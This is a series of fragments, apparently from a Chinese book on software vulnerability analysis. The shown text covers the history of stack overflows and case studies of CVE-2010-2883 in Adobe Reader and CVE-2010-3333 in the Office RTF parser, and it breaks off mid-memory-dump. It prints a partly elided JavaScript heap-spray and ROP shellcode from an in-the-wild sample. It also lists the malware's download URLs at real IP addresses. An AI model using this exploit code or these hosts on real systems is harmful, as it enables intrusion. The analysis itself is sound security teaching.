    {"text": "国外站点，专门发布漏洞公告、进行漏洞相关技术讨论的邮件列表，很多国内外的安全人员在 发现漏洞后，经常会直接在上面公布，是获取漏洞信息的最佳途径。"},
    {"text": "虽然是 2006 年出版的，但里面的软件漏洞类型覆 盖得挺完整，主要讲解 Windows 与 UNIX 平台下各种软件漏洞原理，以及规避方法，也包含部 分 Web 层应用漏洞的讲解。"},
    {"text": "讲述 Windows 平台下的调试技巧和方法，借助 WinDbg 实践分析 Windows 操作 第1章 基础知识 13 系统原理，其中关于堆的内容，对于分析堆上的漏洞特别有帮助，推荐一阅。"},
    {"text": "由笔者组织并参与翻译的教程，共 11 篇，详细地讲解了 Windows 平台上的栈溢出漏洞利用，重点讲解各种 Exploit 技术与编写方法，包括如何绕过 GS、DEP、 ASLR 等诸多保护机制，以实际漏洞为例，手把手详细地讲解分析和利用思路，强烈推荐。"},
    {"text": "通过调试器去逆向各种 C++内部机制，特别推荐第 9~11 章内 容，主要介绍类、构造与析构函数、虚函数等重要概念，以及对应的汇编指令形态和内存布局 情况，从更底层的角度去理解上述概念，对于分析 C++写的应用漏洞会有很大帮助。"},
    {"text": "除了这些站点和书籍外，读者还可以将平常看到的一些好站点，包括论坛、博客、资 讯站点等，加入到个人订阅的RSS。 笔者经常收集订阅RSS，每天翻看RSS阅读器，可以获取不少安 全领域的信息，也是相当不错的学习和资讯来源。"},
    {"text": "14 漏洞战争：软件漏洞分析精要 第 2 章 栈溢出漏洞分析 2.1 栈溢出简史 在各类软件安全漏洞中，栈溢出漏洞无疑是最常见、危害最大的漏洞类型之一，在各种操作系 统和应用软件中广泛存在。"},
    {"text": "该蠕虫由康奈尔大学学生罗伯特·泰潘·莫 里斯（Robert Tappan Morris，如图2-1所示）编写，并于1988年11月2日从麻省理工学院（MIT）传播 到互联网上。 图2-1 罗伯特·泰潘·莫里斯 当时，莫里斯主要是想利用蠕虫的感染数计算出到底有多少台计算机接入网络，而该蠕虫在12 小时内就感染了6200多台UNIX服务器，占当时整个互联网服务器总数的10%，其危害程度可想而知。"},
    {"text": "直到1996年，Aleph1在世界顶级黑客杂志 Phrack 第49期上公布了关于栈溢出漏洞的文章： Smashing the Stack for Fun and Profit ，里面详细地描述了Linux系统中栈的结构，通过示例代码进行 漏洞战争：软件漏洞分析精要 第2章 栈溢出漏洞分析 15 反汇编分析，论述了栈溢出的漏洞成因和利用技巧，对缓冲区溢出知识的传播起到很大的推进作用。"},
    {"text": "Aleph1的另一个贡献是，给出了如何写获取shell权限的Exploit方法，并将此段代码命令为Shellcode， 而这个称呼一直沿用至今，虽然现在的含义已经不仅仅局限于获取shell权限。"},
    {"text": "受Aleph1的影响，网络上开始涌现出大量关于栈溢出的文章，其中以Dildog在 Phrack 杂志上写的 The Tao of Windows Buffer Overflow 最为出名，该文写于1998年，当时Dildog是著名黑客组织“Cult of the Dead Cow”的成员，他在文中详细介绍了Windows平台上的栈溢出利用技术，提出了“jmp esp /call esp”覆盖返回地址的经典方法，在现今依然被广泛使用，并延伸出其他各种Exploit技术。 1999年，Dark Spyrit在 Phrack 第54期上的文章 Win32 Buffer Overflows Location,Exploitation and Prevention 中提出了成熟的Windows缓冲区溢出利用技术及防御措施，重点提出利用系统DLL中的指 令控制程序执行流程的方法，进一步推进了Windows下的溢出利用技术。 随后，David Litchfield在 BlackHat大会上做了题目为 defeating the stack based buffer overflow prevention mechanism of microsoft windows 2003 server 的主题演讲，里面提出利用覆盖SEH结构来绕过Cookie检测，扩展了栈溢出的利 用思路。 近年涌现出了各种栈溢出利用技巧，比较经典的有pop pop ret、ret2lib和ROP技术等溢出Exploit 技术，微软会根据不同的利用方法提出不同的防御策略。"},
    {"text": "例如下面的程序： #include <stdio.h> #include <string.h> int main() { char *str = \"AAAAAAAAAAAAAAAAAAAAAAAA\"; vulnfun(str); return; } int vulnfun(char *str) { char stack[10]; 16 漏洞战争：软件漏洞分析精要 strcpy(stack,str); // 这里造成溢出！ } 在VC6上编译完成后，用WinDbg加载运行： 0:000> g (248.c80): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012fee0 ebx=7ffd6000 ecx=00422034 edx=00000000 esi=00000000 edi=0012ff48 eip=41414141 esp=0012fef4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 41414141 ?? ??? 直接运行到地址0x41414141，这里0x41414141即字符串“AAAA”，正是变量str里面的字符串， 由于在通过strcpy复制字符串到固定长度的栈空间时，未对字符串长度进行限制，导致栈溢出，最后 覆盖到返回地址，造成访问违例。"},
    {"text": "图2-2 栈溢出原理图 2.3 CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞 2.3.1 LuckyCat攻击事件 近年来关于APT攻击的案例层出不穷，而目标往往是政府、军队、航空、能源等重要单位。"},
    {"text": "APT的全称为Advanced Persistent Thread，即“高级持续性威胁”，它是一 第2章 栈溢出漏洞分析 17 种高级的渗透攻击手法，主要针对特定组织进行多方位的渗透攻击，通常利用系统或者应用程序的 漏洞进行长期的渗透和刺探。"},
    {"text": "2012年3月29日，纽约时报报道了一起APT攻击案例—LuckyCat攻击，此次攻击主要针对印度 和日本的航空航天、军队、能源等单位进行长期的渗透攻击。"},
    {"text": "在针 对日本的攻击中，黑客通过发送与福岛核电站核辐射问题相关的钓鱼邮件来发动攻击，里面主要利 用到了CVE-2010-2883漏洞，如图2-3所示。"},
    {"text": "图2-3 攻击日本的恶意PDF文档 趋势科技公司针对此事发布的APT攻击分析报告中，将“疑似攻击者”定位到一位前四川大学 的学生古开元（网名：sogu），目前为腾讯公司员工，后来，腾讯安全中心及sogu本人已发微博澄 清此事（http://tech.qq.com/a/20120330/000418.htm），如图2-4所示。 趋势科技公司的分析人员此次是通过黑客注册C&C服务器时使用的邮箱19013788@qq.com进行 人肉搜索，然后发现在四川大学的BBS论坛上此QQ号与另一个QQ号2888111（古开元所用）共同出 现在一个招聘帖中（如图2-5所示），因此认为古开元“参与”了此次黑客攻击。"},
    {"text": "18 漏洞战争：软件漏洞分析精要 图2-4 腾讯回应外媒报告 图2-5 四川大学BBS上的招聘帖 2.3.2 漏洞描述 CVE-2010-2883 是 Adobe Reader 和 Acrobat 中 的 CoolType.dll 库 在 解 析 字 体 文 件 SING 表 中 的 uniqueName项时存在的栈溢出漏洞，用户受骗打开了特制的PDF文件就有可能导致执行任意代码。"},
    {"text": "第2章 栈溢出漏洞分析 19 表2-1 测试环境 推荐使用的环境 备注 操作系统 Windows XP SP3 简体中文版 虚拟机 VirtualBox 版本号：4.1.8 调试器 OllyDbg 版本号：1.0 反汇编器 IDA Pro 版本号：5.5 漏洞软件 Adobe Reader 版本号：9.3.4 2.3.4 基于字符串定位的漏洞分析方法 用IDA反汇编CoolType.dll库，查看字符串可发现“SING”字体，因为该字符串是漏洞解析出错 的地方，直接定位进去即可查看该库对sing表格的解析方式，主要是strcat造成的溢出漏洞： .text:0803DCF9 push ebp .text:0803DCFA sub esp, 104h ; 分配栈空间 0x104 .text:0803DD00 lea ebp, [esp-4] ; 后面的 strcat 会把执行结果保存在 ebp 中 .text:0803DD04 mov eax, dword_8230FB8 .text:0803DD09 xor eax, ebp .text:0803DD0B mov [ebp+104h], eax .text:0803DD11 push 4Ch .text:0803DD13 mov eax, offset loc_8184A54 .text:0803DD18 call __EH_prolog3_catch .text:0803DD1D mov eax, [ebp+arg_C] .text:0803DD23 mov edi, [ebp+arg_0] .text:0803DD29 mov ebx, [ebp+arg_4] .text:0803DD2F mov [ebp+var_28], edi .text:0803DD32 mov [ebp+var_30], eax .text:0803DD35 call sub_804172C .text:0803DD3A xor esi, esi .text:0803DD3C cmp dword ptr [edi+8], 3 .text:0803DD40 mov [ebp+var_4], esi .text:0803DD43 jz loc_803DF00 .text:0803DD49 mov [ebp+var_1C], esi .text:0803DD4C mov [ebp+var_18], esi .text:0803DD4F cmp dword ptr [edi+0Ch], 1 .text:0803DD53 mov byte ptr [ebp+var_4], 1 .text:0803DD57 jnz loc_803DEA9 .text:0803DD5D push offset aName ; \"name\" .text:0803DD62 push edi .text:0803DD63 lea ecx, [ebp+var_1C] 20 漏洞战争：软件漏洞分析精要 .text:0803DD66 mov [ebp+var_11], 0 .text:0803DD6A call sub_80217D7 .text:0803DD6F cmp [ebp+var_1C], esi .text:0803DD72 jnz short loc_803DDDD .text:0803DD74 push offset aSing ; \"SING\" .text:0803DD79 push edi .text:0803DD7A lea ecx, [ebp+var_24] ; 指向 sing 表入口 .text:0803DD7D call sub_8021B06 ; 处理 SING 表 .text:0803DD82 mov eax, [ebp+var_24] .text:0803DD85 cmp eax, esi ; 判断是否为空 .text:0803DD87 mov byte ptr [ebp+var_4], 2 .text:0803DD8B jz short loc_803DDC4 ; 这里不跳转 .text:0803DD8D mov ecx, [eax] ; 字体资源版本号，这里为 1.0 版本， 即 00 10 00 00 .text:0803DD8F and ecx, 0FFFFh .text:0803DD95 jz short loc_803DD9F ; 这里跳转 .text:0803DD97 cmp ecx, 100h .text:0803DD9D jnz short loc_803DDC0 .text:0803DD9F .text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj .text:0803DD9F add eax, 10h ; 相对 sing 表入口偏移 0x10 处找到 uniqueName .text:0803DDA2 push eax ; uniqueName 域 .text:0803DDA3 lea eax, [ebp+0] .text:0803DDA6 push eax ; 目的地址是一段固定大小的栈空间 .text:0803DDA7 mov byte ptr [ebp+0], 0 .text:0803DDAB call strcat ; 造成溢出！"},
    {"text": "2.3.5 样本Exploit技术分析 首先，用PdfStreamDumper（下载地址：http://sandsprite.com/blogs/index.php?uid=7&pid=57）提 取出PDF样本里的TTF文件，在工具里选中相应的Object，单击鼠标右键选择“Save Decompressed Streams”选项即可保存到本地。"},
    {"text": "图2-6 TableEntry结构数据 第2章 栈溢出漏洞分析 21 下面是官方文档中对TableEntry结构的定义： typedef sturct_SING { char tag[4]; // 标记:\"SING\" ULONG checkSum; // 校验和:\"0xD9BCC8B5\" ULONG offset; // 相对文件的偏移:\"0x0000011C \" ULONG length; // 数据长度:\"0x00001DDF\" } TableEntry; SING表的数据结构如图2-7所示。 图2-7 SING表数据结构 从TableEntry结构入口偏移0x11c（上方offset值）即是SING表的真实数据，也就是从“00 00 01 00” 开始的部分，接着再偏移0x10即可找到uniqueName域，如图2-8所示。"},
    {"text": "图2-8 uniqueName域 执行strcat后，会将“58 E0 8D AD”起始的部分复制到ebp的指定地址（0x0012e4d8），直至遇 22 漏洞战争：软件漏洞分析精要 到NULL字符串终止符。"},
    {"text": "我们对复制进去的这段数据设置内存访问断点，执行后可跟踪到如图2-9所 示的地址。 图2-9 内存访问断点 0x4A8A08E2是样本中的数据，该地址必须为可读写的，否则会导致出现异常，如图2-10所示。 图2-10 内存映射 继续执行下去将看到图2-11所示的地址。"},
    {"text": "图2-11 用于执行ROP指令的调用地址 第2章 栈溢出漏洞分析 23 上方指令call eax中的eax为样本数据0x4a80cb38，该地址位于icucnv36.dll模块中，其对应的指令 如图2-12所示。"},
    {"text": "图2-12 ROP指令1 返回后看到如图2-13所示的地址0x4A82A714。 图2-13 ROP指令2 我们回头看下TTF流中的样本数据，可以找到上面几处关键跳转地址的踪影，如图2-14所示。"},
    {"text": "图2-14 TTF流中嵌入的几处跳转地址 跳 转 地 址 的 稳 定 性 其 实 主 要 依 靠 0x4A82A714 和 0X4A80CB38这 两处 的 地 址 ，它 们 都 位 于 icucnv36.dll的地址空间，而在Adobe Reader的各版本上，这个dll上的这两处地址是始终不变的，因 24 漏洞战争：软件漏洞分析精要 而保持了各版本的兼容性和Exploit的稳定性。"},
    {"text": "var junk; for(i=0;i<28002;i++) junk += 0x78; var shellcode = unescape( \"%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub6 92%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102% u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000 ……省略部分内容…… \"%u8b4b%u1c5a%ueb01%u048b%u018b%uebe8%u3102%u89c0\" + \"%u5fea%u5d5e%uc25b%u0008\" ); var block = unescape(\"\\x25\\x750c0c\\x25\\x750c0c\"); while (block.length + 20 + 8 < 65536) block+=block; SP = block.substring(0, (0x0c0c-0x24)/2); SP += shellcode; SP += block; slackspace = SP.substring(0, 65536/2); while(slackspace.length < 0x80000) slackspace += slackspace; bigblock = slackspace.substring(0, 0x80000 - (0x1020-0x08) / 2); var memory = new Array(); for (count=0;count<0x1f0;count++) memory[count]=bigblock+\"s\"; 当返回到栈顶（0x0C0C0C0C）后，栈的情况如图2-15所示。"},
    {"text": "第2章 栈溢出漏洞分析 25 图2-16 ROP指令3 图2-17 ROP指令4 图2-18 构造CreateFileA函数地址的ROP指令 图2-19 调用CreateFileA函数 调用CreateFileA函数时，栈上对应的各参数值情况如图2-20所示，它创建了一个名为iso88591的 文件，如图2-20所示。 图2-20 调用CreatFileA函数 返回后，通过相同的手法构造出ROP指令来调用CreateFileMapping，创建文件内存映射，调用 CreateFileMapping时的栈中各参数如图2-21所示。 图2-21 调用CreateFileMapping函数 然后，执行MapViewOfFile函数，如图2-22所示。 图2-22 调用MapViewOfFile函数 26 漏洞战争：软件漏洞分析精要 再通过类似方法调用memcpy函数，如图2-23所示。 图2-23 调用memcpy函数 其中目的地址就是前面MapViewOfFile返回的地址，而源地址就是真正的Shellcode代码，将它复 制到一段可执行可读写的内存段，以此绕过DEP保护。"},
    {"text": "2.3.6 样本Shellcode恶意行为分析 当成功执行Shellcode后，病毒会在临时文件下生成svrhost.exe，图2-24所示为Process Monitor监 控到的文件操作记录。 图2-24 在临时文件下生成svrhost.exe 接着，svrhost.exe会在系统目录下生成其他病毒文件，并更改它们的修改日期，同时还篡改系统 文件，图2-25所示是用Malware Defender监控到的进程操作行为。"},
    {"text": "图2-25 篡改系统文件 然后，将spoolsv.exe设置为自启动程序，如图2-26所示。 图2-26 设置自启动程序 同时，spoolsv.exe会加载恶意生成的msxm10r.dll等恶意文件，图2-27所示是用Process Explorer查 看进程加载的DLL列表。"},
    {"text": "图2-28 _uninsep.bat的文件内容 _unstop.bat和_unstart.bat的文件内容分别如图2-29和图2-30所示，主要用于启动和停止Spooler服 务，并实现自删除功能。"},
    {"text": "图2-29 _unstop.bat的文件内容 图2-30 _unstart.bat的文件内容 28 漏洞战争：软件漏洞分析精要 下面分析被注入的msxml0r.dll文件，用PEID扫描发现它经过PECompact加壳处理，将其脱壳后 用OD加载分析。"},
    {"text": "首先，它会用0xC4进行xor解密得到3个URL地址，然后发送HTTP请求，由于链接 已失效，下载的3个gif文件的具体用途无从知晓，但基本可以猜测到这些图片文件中包含一些PE文 件数据，用于执行一系列的恶意操作。"},
    {"text": "● http://203.45.50.118/monitor/images/mmc_vti0915.gif。 ● http://203.45.80.96/monitor/images/mmc_vti0915.gif。 ● http://61.222.31.83/monitor/images/mmc_vti0915.gif。"},
    {"text": "图2-32 发送HTTP请求 第2章 栈溢出漏洞分析 29 最后，Shellcode会将PDF样本修改为正常的文件，修正后的PDF删除了TTF字体中的SING表，如 图2-33所示，然后再调用AcroRD32.exe打开修改后的正常PDF文件。"},
    {"text": "图2-33 修复前后的TTF文件 2.3.7 漏洞修复 官方在修补该漏洞时，添加了字符串长度的检测与限制，它用sub_813391E函数代替了原来的strcat 函数，直接通过补丁比较更直观，如图2-34所示，其中左图是修复后的，右图是修复前的。"},
    {"text": "2.4 CVE-2010-3333 Microsoft RTF栈溢出漏洞 2.4.1 林来疯攻击事件 2012年年初，一直坐“冷板凳”且名不见经传的篮球运动员林书豪走红国际，并造就了“林来 疯”（Linsanity）这一新的英文单词。"},
    {"text": "2012年2月5日，在尼克斯队与蓝网队的NBA比赛中，林书豪替补上场36分钟，得到25 分、5个篮板、7次助攻和2次抢断，帮助尼克斯队以99:92的比分险胜蓝网队。"},
    {"text": "用户在未知的情况下，打开恶意文档就会执行文档中的恶意代码， 在受害者计算机上植入木马，并借此监视受害者、控制受害者电脑，甚至窃取受害者资料。"},
    {"text": "在林书 豪成名后，趋势科技公司捕获到文档名为“The incredible story of Jeremy Lin the NBA new superstar.doc （NBA超级新星林书豪令人难以相信的故事）”的恶意文档，用于进行APT攻击，如图2-36所示。"},
    {"text": "该恶意文档主要是利用本节讲的CVE-2010-3333漏洞，通过邮件以附件形式发送给受害者，并诱 导受害者打开附件，进而在受害者计算机上值入恶意程序，然后通过C&C服务器进行通信和控制， 并将窃取的敏感信息回传到C&C服务器上。"},
    {"text": "类似“林来疯攻击事件”的攻击活动还会长时间地运行下去，但可能利用的是一些新漏洞，或 者利用相同恶意软件变种的病毒对目标发动攻击，同时会持续利用一些广泛关注的新闻事件诱骗受 第2章 栈溢出漏洞分析 31 害者打开邮件附件中的恶意文档。"},
    {"text": "图2-36 恶意doc文档 2.4.2 漏洞描述 Microsoft Office XP SP3、Office 2003 SP3、Office 2007 SP2、Office 2010等多个版本的Office软 件中的 Open XML文件格式转换器存在栈溢出漏洞，主要是在处理RTF中的“pFragments”属性时存 在栈溢出，导致远程攻击者可以借助特制的RTF数据执行任意代码，因此该漏洞又名“RTF栈缓冲区 溢出漏洞”。"},
    {"text": "表2-2 测试环境 推荐使用的环境 备注 操作系统 Windows XP SP3 简体中文版 虚拟机 VirtualBox 版本号：4.1.8 调试器 Immunity Debugger 版本号：1.73 反汇编器 IDA Pro 版本号：6.1 漏洞软件 Microsoft Office Word 版本号：2003 SP3 与 2007 SP0 中文版 32 漏洞战争：软件漏洞分析精要 2.4.4 RTF文件格式 RTF（Rich Text Format）格式是Microsoft公司为进行文本和图像信息格式的交换而制定的一种 文件格式，它适用于不同的设备、操作环境和操作系统。"},
    {"text": "RTF文件的基本元素是正文（Text）、控制 字（Control word）、控制符号（Control Symbol）和群组（Group）。 （1） 控制字是 RTF 用来标记打印控制符和管理文档信息的一种特殊格式的命令，RTF 用它作为正文 格式的控制代码，每个控制字均以一个反斜杠\\开头，由 a～z 小写字母组成，通常应该不包含任 何大写字母，而分隔符标志着控制字名称的结束。"},
    {"text": "RTF 文件也能同时包括字体、格式、屏幕 颜色、图形、脚注、注释（注解）、文件头和文件尾、摘要信息、域和书签的组合，以及文档、 区段、段落和字符的格式属性。 一个完整的RTF文件包括文件头<header>和文档区<document>两大部分，可以用下列语法表示。 <File>'{' <header> <document> '}' 通过微软官方文档的目录，我们大体可以了解到文件头和文档区各自所包含的数据，如图2-37 所示。"},
    {"text": "图2-38 CVE-2010-3333样本数据 样本数据分析如下： \\rtf1 — RTF 版本 \\ansi — 支持 ANSI 字符集 \\shp — 绘图对象 \\*\\shpinst — 图片引用 \\sp — 绘图对象属性定义 \\sn pFragments— 定义属性名称，pFragments 段是图形的附加部分，属于数组结构。"},
    {"text": "它允许图形包含多 个路径和分段，该属性列出图形各个碎片 \\sv — 定义属性值 RTF分析器正是在解析pFragments属性值时，没有正确计算属性值所占用的空间大小，导致栈溢 出漏洞的发生。"},
    {"text": "2.4.5 基于栈回溯的漏洞分析方法 首先，我们通过Metasploit生成可触发漏洞的PoC样本，特别是对于一些经典漏洞，Metasploit上 会提供利用代码，通过它直接生成样本以供分析漏洞。 因此，通过Metasploit获取漏洞样本一直是很 多漏洞分析人员不二的选择，但有时若想分析Exploit技术或者Shellcode，常常需要分析实际的病毒 样本，因为这些病毒相对更具有研究和学习的价值。"},
    {"text": "用 WinDbg重新加载运行，在0x30ed442c上下断点，运行后断下： 0:004> bp 30ed442c *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\\Program Files\\Common Files\\Microsoft Shared\\office11\\mso.dll - 0:004> g ModLoad: 044f0000 0456d000 C:\\PROGRA~1\\COMMON~1\\MICROS~1\\SMARTT~1\\INTLNAME.DLL ModLoad: 04980000 04a06000 C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\CHDATEST.DLL ModLoad: 04a10000 04a21000 C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\Chinese Measurement Converter\\CHMETCNV.DLL ModLoad: 73510000 7353a000 C:\\WINDOWS\\system32\\scrrun.dll 38 漏洞战争：软件漏洞分析精要 ModLoad: 37320000 37343000 C:\\PROGRA~1\\COMMON~1\\MICROS~1\\SMARTT~1\\FNAME.DLL ModLoad: 72f70000 72f96000 C:\\WINDOWS\\system32\\WINSPOOL.DRV ModLoad: 74be0000 74c0c000 C:\\WINDOWS\\system32\\OLEACC.dll ModLoad: 75ff0000 76055000 C:\\WINDOWS\\system32\\MSVCP60.dll ModLoad: 374b0000 374b9000 C:\\PROGRA~1\\COMMON~1\\MICROS~1\\SMARTT~1\\2052\\stintl.dll ModLoad: 76060000 761b6000 C:\\WINDOWS\\system32\\SETUPAPI.dll ModLoad: 76d70000 76d92000 C:\\WINDOWS\\system32\\appHelp.dll ModLoad: 76590000 765de000 C:\\WINDOWS\\System32\\cscui.dll ModLoad: 76570000 7658c000 C:\\WINDOWS\\System32\\CSCDLL.dll ModLoad: 76960000 76984000 C:\\WINDOWS\\system32\\ntshrui.dll ModLoad: 76af0000 76b01000 C:\\WINDOWS\\system32\\ATL.DLL ModLoad: 759d0000 75a7f000 C:\\WINDOWS\\system32\\USERENV.dll ModLoad: 75ef0000 75fed000 C:\\WINDOWS\\system32\\browseui.dll ModLoad: 7e550000 7e6c1000 C:\\WINDOWS\\system32\\shdocvw.dll ModLoad: 765e0000 76673000 C:\\WINDOWS\\system32\\CRYPT32.dll ModLoad: 76db0000 76dc2000 C:\\WINDOWS\\system32\\MSASN1.dll ModLoad: 75430000 754a1000 C:\\WINDOWS\\system32\\CRYPTUI.dll ModLoad: 76680000 76726000 C:\\WINDOWS\\system32\\WININET.dll ModLoad: 76c00000 76c2e000 C:\\WINDOWS\\system32\\WINTRUST.dll ModLoad: 76c60000 76c88000 C:\\WINDOWS\\system32\\IMAGEHLP.dll ModLoad: 76f30000 76f5c000 C:\\WINDOWS\\system32\\WLDAP32.dll ModLoad: 76950000 76958000 C:\\WINDOWS\\system32\\LINKINFO.dll ModLoad: 05820000 059c1000 C:\\Program Files\\Microsoft Office\\OFFICE11\\GdiPlus.DLL Breakpoint 0 hit eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=00123dc0 eip=30ed442c esp=00123d98 ebp=00123dd0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mso!Ordinal1246+0x16b0: 30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 断下后，查看栈回溯，以定位是哪个函数调用到崩溃函数的： 0:000> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00123dd0 30f0b56b 00123f3c 00000000 ffffffff mso!Ordinal1246+0x16b0 00123e00 30f0b4f9 00123f88 00123f3c 00000000 mso!Ordinal1273+0x2581 0012404c 30d4d795 00000000 0012408c 00000000 mso!Ordinal1273+0x250f 00124074 30d4d70d 30d4d5a8 011f14dc 011f1514 mso!Ordinal5575+0xf9 00124078 30d4d5a8 011f14dc 011f1514 011f13c4 mso!Ordinal5575+0x71 0012407c 011f14dc 011f1514 011f13c4 30dce40c mso!Ordinal4099+0xf5 00124080 011f1514 011f13c4 30dce40c 00000000 0x11f14dc 第2章 栈溢出漏洞分析 39 00124084 011f13c4 30dce40c 00000000 011f1128 0x11f1514 00124088 30dce40c 00000000 011f1128 00124e38 0x11f13c4 0012408c 00000000 011f1128 00124e38 00000000 mso!Ordinal2940+0x1588c 0:000> ub mso!Ordinal1273+0x2581 mso!Ordinal1273+0x256d: 30f0b557 23c1 and eax,ecx 30f0b559 50 push eax 30f0b55a 8d47ff lea eax,[edi-1] 30f0b55d 50 push eax 30f0b55e 8b4508 mov eax,dword ptr [ebp+8] 30f0b561 6a00 push 0 30f0b563 ff750c push dword ptr [ebp+0Ch] 30f0b566 e857000000 call mso!Ordinal1273+0x25d8 (30f0b5c2) 由上可知，CrashFun函数是在0x30f0b5c2函数中被调用的。"},
    {"text": "重新用WinDbg加载进程，并在 0x30f0b5c2函数上下断，运行后断下： 0:005> bp 30f0b5c2 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\\Program Files\\Common Files\\Microsoft Shared\\office11\\mso.dll - 0:005> g ModLoad: 76060000 761b6000 C:\\WINDOWS\\system32\\SETUPAPI.dll ModLoad: 76d70000 76d92000 C:\\WINDOWS\\system32\\appHelp.dll ModLoad: 76590000 765de000 C:\\WINDOWS\\System32\\cscui.dll ModLoad: 76570000 7658c000 C:\\WINDOWS\\System32\\CSCDLL.dll ModLoad: 76960000 76984000 C:\\WINDOWS\\system32\\ntshrui.dll ModLoad: 76af0000 76b01000 C:\\WINDOWS\\system32\\ATL.DLL ModLoad: 759d0000 75a7f000 C:\\WINDOWS\\system32\\USERENV.dll ModLoad: 75ef0000 75fed000 C:\\WINDOWS\\system32\\browseui.dll ModLoad: 7e550000 7e6c1000 C:\\WINDOWS\\system32\\shdocvw.dll ModLoad: 765e0000 76673000 C:\\WINDOWS\\system32\\CRYPT32.dll ModLoad: 76db0000 76dc2000 C:\\WINDOWS\\system32\\MSASN1.dll ModLoad: 75430000 754a1000 C:\\WINDOWS\\system32\\CRYPTUI.dll ModLoad: 76680000 76726000 C:\\WINDOWS\\system32\\WININET.dll ModLoad: 76c00000 76c2e000 C:\\WINDOWS\\system32\\WINTRUST.dll ModLoad: 76c60000 76c88000 C:\\WINDOWS\\system32\\IMAGEHLP.dll ModLoad: 76f30000 76f5c000 C:\\WINDOWS\\system32\\WLDAP32.dll ModLoad: 76950000 76958000 C:\\WINDOWS\\system32\\LINKINFO.dll ModLoad: 05810000 059b1000 C:\\Program Files\\Microsoft Office\\OFFICE11\\GdiPlus.DLL Breakpoint 0 hit eax=00123f88 ebx=00000000 ecx=00123dfc edx=00000000 esi=00000000 edi=00000000 eip=30f0b5c2 esp=00123dd4 ebp=00123e00 iopl=0 nv up ei pl zr na pe nc 40 漏洞战争：软件漏洞分析精要 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mso!Ordinal1273+0x25d8: 30f0b5c2 55 push ebp 按F10键单步跟踪： 0:000> p eax=00123f88 ebx=00000000 ecx=00123dfc edx=00000000 esi=00000000 edi=00000000 eip=30f0b5c3 esp=00123dd0 ebp=00123e00 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mso!Ordinal1273+0x25d9: 30f0b5c3 8bec mov ebp,esp 0:000> p eax=00123f88 ebx=00000000 ecx=00123dfc edx=00000000 esi=00000000 edi=00000000 eip=30f0b5c5 esp=00123dd0 ebp=00123dd0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mso!Ordinal1273+0x25db: 30f0b5c5 83ec14 sub esp,14h 这里该函数开辟了0x14字节大小的栈空间，我们继续跟踪下去，当运行到0x30f0b5f8时就调用到 CrashFun函数sub_0x30ed4406进行内存数据复制： 0:000> p eax=30da33d8 ebx=05000000 ecx=00123dc0 edx=00000000 esi=011f1100 edi=00123f88 eip=30f0b5f8 esp=00123da4 ebp=00123dd0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mso!Ordinal1273+0x260e: 30f0b5f8 ff501c call dword ptr [eax+1Ch] ds:0023:30da33f4= 30ed4406 按F8键跟进CrashFun函数，然后单步跟踪进去，可以发现用req movs指令复制内存时，ecx的值 为0x0000c8ac，即复制数据的大小，由于是操作dword字节，因此需要再除以4（逻辑右移2位）： 0:000> p eax=0000c8ac ebx=05000000 ecx=0000c8ac edx=00000000 esi=1104000c edi=00123dc0 eip=30ed4429 esp=00123d98 ebp=00123dd0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mso!Ordinal1246+0x16ad: 30ed4429 c1e902 shr ecx,2 0:000> p eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=00123dc0 eip=30ed442c esp=00123d98 ebp=00123dd0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mso!Ordinal1246+0x16b0: 30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 第2章 栈溢出漏洞分析 41 回头看下msf.rtf样本数据，可以发现上面的0xc8ac其实是源于样本数据的，它位于pFragements 属性值的第3个字段，偏移8个字符后的4个字符即为复制的数据大小，如图2-39所示。"},
    {"text": "图2-39 样本中代表复制内存大小的数据 而0xc8ac后面的数据正是实际内存复制的数据，复制内存源地址esi刚好指向这里： 0:000> db esi 1104000c 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A 1104001c 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab 1104002c 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5 1104003c 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A 1104004c 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac 1104005c 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1 1104006c 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A 1104007c 64 37 41 64 38 41 64 39-41 65 30 41 